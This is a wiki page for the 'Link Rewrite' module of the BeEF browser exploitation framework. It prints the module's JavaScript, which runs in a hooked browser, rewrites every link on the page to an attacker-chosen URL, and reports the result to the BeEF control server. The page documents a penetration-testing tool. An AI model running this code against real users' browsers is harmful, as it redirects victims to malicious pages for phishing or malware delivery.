-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Module: Link Rewrite
Haoxi Tan edited this page Jan 8, 2020
·
3 revisions
-
Objective: Rewrite all links to one URL
-
Authors: passbe
-
Browsers: All
simple replaces all href elements in <a>
tags
beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>')+' links rewritten to <%= @url %>');
});
//rewriteLinks function
rewriteLinks: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
return $j(sel).each(function() {
if ($j(this).attr('href') != null)
{
$j(this).attr('href', url).click(function() { return true; });
}
}).length;
},
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK